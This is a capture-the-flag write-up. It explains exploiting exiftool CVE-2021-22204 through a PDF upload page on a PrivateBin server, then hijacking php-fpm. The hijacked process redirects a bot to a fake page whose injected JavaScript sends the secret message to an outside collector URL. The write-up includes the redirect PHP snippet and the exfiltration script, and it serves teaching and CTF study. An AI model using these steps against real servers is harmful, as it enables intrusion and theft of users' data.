This is a co-work with my colleagues(a-z): Adam, Cao Wei and Tri

Challenge description

Please, help me! The bad guys are using this server to send secret evil files. Could you intercept one of these files to me?

Ps: The servers are rebooted every N minutes Ps2: The bad guys send the file every 15 seconds.

We were given a .tar.gz file, which contains server.zip which contains a Dockerfile and a php file.

Content of Dockerfile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
FROM privatebin/nginx-fpm-alpine

COPY html /var/www

USER root

RUN chown root:root -R /var/www
RUN chown root:root -R /srv/
RUN chmod 755 -R /srv/
RUN chmod 755 -R /var/www
RUN chmod 777 -R /srv/data/

WORKDIR /root
RUN apk add perl make
RUN wget https://exiftool.org/Image-ExifTool-12.23.tar.gz && tar -xzf Image-ExifTool-12.23.tar.gz && rm Image-ExifTool-12.23.tar.gz &&\
cd Image-ExifTool-12.23 && perl Makefile.PL && make test && make install && mkdir /uploads && chmod 777 /uploads

WORKDIR /var/www
USER 65534:82

Content of html/exif/index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<!DOCTYPE html>
<html>
<body>

<form action="index.php" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" value="Upload Image" name="submit">
</form>

</body>
</html>

<?php
$target_dir = "/uploads";
$target_file = $target_dir . "/". md5($_SERVER['REMOTE_ADDR'] .random_bytes (16)). ".pdf";
$uploadOk = 1;

if(isset($_POST["submit"])) {
define('PDF_MAGIC', "\x25\x50\x44\x46\x2D");
$check = (file_get_contents($_FILES["fileToUpload"]["tmp_name"], false, null, 0, strlen(PDF_MAGIC)) === PDF_MAGIC) ? true : false;
if($check !== false) {
echo "File is an pdf \n";
$uploadOk = 1;
} else {
echo "File is not an pdf.\n";
$uploadOk = 0;
}
}

// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}

// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}

if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
//echo shell_exec('exiftool '.$target_file);
echo shell_exec('timeout 10s exiftool '.escapeshellarg($target_file));
unlink($target_file);
} else {
echo "Sorry, there was an error uploading your file. Try again";
}
}

// code is ugly? Brenocss's fault.

?>

RCE on exiftool

This line in Dockerfile caught my attention:

1
RUN wget https://exiftool.org/Image-ExifTool-12.23.tar.gz && tar -xzf Image-ExifTool-12.23.tar.gz && rm Image-ExifTool-12.23.tar.gz &&\

exiftool version: 12.23, clearly is it referring to the recent exiftool rce, CVE-2021-22204. You can refer to the author’s blog post for the details.

The docker image is the prebuild privatebin, which is a zero-knowledge content sharing webapp, with additional feature provided by html/exif/index.php

examine html/exif/index.php reveals that it allows you upload .pdf files, with first five bytes of pdf magic header. Then it will call the vulnerable exiftool to parse it. we can’t control the filename on the server.

In the above blog post, the author mentioned that some other specific file types are also affected, which includes pdf filetype:

If a PDF uses the DCTDecode or JPXDecode filters then ExtractInfo will be called on it.

1
2
3
4
5
6
if ($filter eq '/DCTDecode' or $filter eq '/JPXDecode') {
DecodeStream($et, $dict) or last;
# save the image itself
$et->FoundTag($tagInfo, \$$dict{_stream});
# extract information from embedded image
$result = $et->ExtractInfo(\$$dict{_stream}, { ReEntry => 1 });

So I write(ctrl+c/v) a script as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import com.itextpdf.io.image.ImageData;
import com.itextpdf.io.image.ImageDataFactory;

import com.itextpdf.kernel.pdf.PdfDocument;
import com.itextpdf.kernel.pdf.PdfWriter;

import com.itextpdf.layout.Document;
import com.itextpdf.layout.element.Image;

public class AddingImage {
public static void main(String args[]) throws Exception {

// Creating a PdfWriter
String dest = "./addingImage.pdf";
PdfWriter writer = new PdfWriter(dest);

// Creating a PdfDocument
PdfDocument pdf = new PdfDocument(writer);

// Creating a Document
Document document = new Document(pdf);

// Creating an ImageData object, mew.jpg is the malicious jpeg file
String imFile = "./mew.jpg";
ImageData data = ImageDataFactory.create(imFile);

// Creating an Image object
Image image = new Image(data);

// Adding image to the document
document.add(image);

// Closing the document
document.close();

System.out.println("Image added");
}
}

This will create a pdf file with embedded malicious jpeg file encoded with DCTDecode filter, however, I found that only when exiftool is supplied with extra flags -ee (which means to extract information from embedded files), the vulnerability will be triggered, default calling of exiftool won’t.

image-20210531194235047

However, in the html/exif/index.php

1
2
3
$target_file = $target_dir . "/". md5($_SERVER['REMOTE_ADDR'] .random_bytes (16)). ".pdf";

echo shell_exec('timeout 10s exiftool '.escapeshellarg($target_file));

can’t inject additional flags, seems a dead end.

Yolo, I tried appendding the 5 magic bytes of the magic header in pdf to the head of the malicious jpeg file, and use exiftool to parse it, surprisingly, rce gets triggered:

image-20210531202619891

seems exiftool is too smart to detect the actual file type, and decides to parse it as the actual type.

https://github.com/exiftool/exiftool/blob/bd14871e8a3bc2b15ea2e3d5dd22bec4f50a6a40/lib/Image/ExifTool.pm#L2612-L2619

1
2
3
4
5
6
7
8
# last ditch effort to scan past unknown header for JPEG/TIFF
next unless $buff =~ /(\xff\xd8\xff|MM\0\x2a|II\x2a\0)/g;
$type = ($1 eq "\xff\xd8\xff") ? 'JPEG' : 'TIFF';
my $skip = pos($buff) - length($1);
$dirInfo{Base} = $pos + $skip;
$raf->Seek($pos + $skip, 0) or $seekErr = 1, last;
$self->Warn("Processing $type-like data after unknown $skip-byte header");
$unkHeader = 1 unless $$self{DOC_NUM};

Until here, we can get a reverse shell on the server.

Try to get the post link

From the description, we know that there is probably a bot creating a post with the contents of flag using the privatebin webapp, according to its description:

PrivateBin is a minimalist, open source online pastebin where the server has zero knowledge of pasted data.

Data is encrypted and decrypted in the browser using 256bit AES in Galois Counter mode.

seems the content is encrypted on the client side, before sending to the server, and the key was generated on the client side as well, not being sent to the server. Even if we get a reverse shell on the server, we won’t able to recover the content.

However, there is another line in its description:

  • A server admin might be forced to hand over access logs to the authorities. PrivateBin encrypts your text and the discussion contents, but who accessed a paste (first) might still be disclosed via access logs.

I misread it, and thought we might be able to find the full url to the post in the access log, so I went for access log. In /etc/nginx/http.d/access_log.conf:

1
2
3
# Log access to this file
# This is only used when you don't override it on a server{} level
access_log /dev/stdout main;

the access_log is written to its standard output, not into a file.

We can get nginx pid in /run/nginx.pid first, then cat /proc/{pid}/fd/1, which will print out its stdout content:

Image Pasted at 2021-5-30 14-47

we can only know that the bot’s user-agent is HeadlessChrome/91.0.4469.0

In the Dockerfile above, we can see that all the web files(except the posts newly created) are owned by root and not modifiable by the current user of reverse shell, so we would not be able to inject or modify the JavaScript file sent to the client.

Rouge Nginx/PHP-FPM

We later found that the process php-fpm are owned by nobody, which means we can kill it and start our own php-fpm process:

image-20210531205709272

(actually we can also restart nginx as well, which seems to be easier)

The significance for us to restart the php-fpm is that we can specify our own php.ini in the newly created php-fpm process, where we can introduce a way of manipulating the content being sent to the client, the auto_prepend_file and the auto_append_file option. (at first, we were thinking about abusing the opcache.preload which will run the file once at server startup and persist through lifetime, quite similar concept, but I turned to auto_prepend_file and auto_append_file)

I tried to use auto_append_file option to include a php script which will echo out a javascript code to add event listener on the submit button of the privatebin webapp, so when the bot tries to post the flag, my javascript will retrieve the contents and send to my server. However, this was blocked by CSP policy

1
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' 'unsafe-eval' resource:". Either the 'unsafe-inline' keyword, a hash ('sha256-VeOfkStrmuX0qULe4bluh5KaLDjso0zBKOOHWlrrM3g='), or a nonce ('nonce-...') is required to enable inline execution.

My colleagues come up with an idea to call ob_start() to buffer the output in auto_prepend_file and modify the CSP header in the auto_append_file.

I choose the other way:

set up a fake privatebin webapp on my own server, inject the hijacking javascript code as follow:

1
2
3
4
5
<script>
window.onload = function() {
document.getElementById("sendbutton").addEventListener("click", function() { document.location = "https://asdfasdfasdf.com/collector.php?test=" + btoa(document.getElementById('message').value); });
}
</script>

and in the auto_prepend_file test.php, I wrote the following content:

1
2
3
4
5
<?php
if(str_contains($_SERVER['HTTP_USER_AGENT'],"HeadlessChrome/91.0.4469.0")) {
header("Location: http://54.169.78.25/");
}
?>

Only when the bot(tell from the user-agent) visits the privatebin webapp, I will send a 302 response header to redirect it to my fake privatebin webapp, and when it enters the flag content, my javascript code will retrieve the content and send it to my collector.php

image-20210531211454392

image-20210531211537724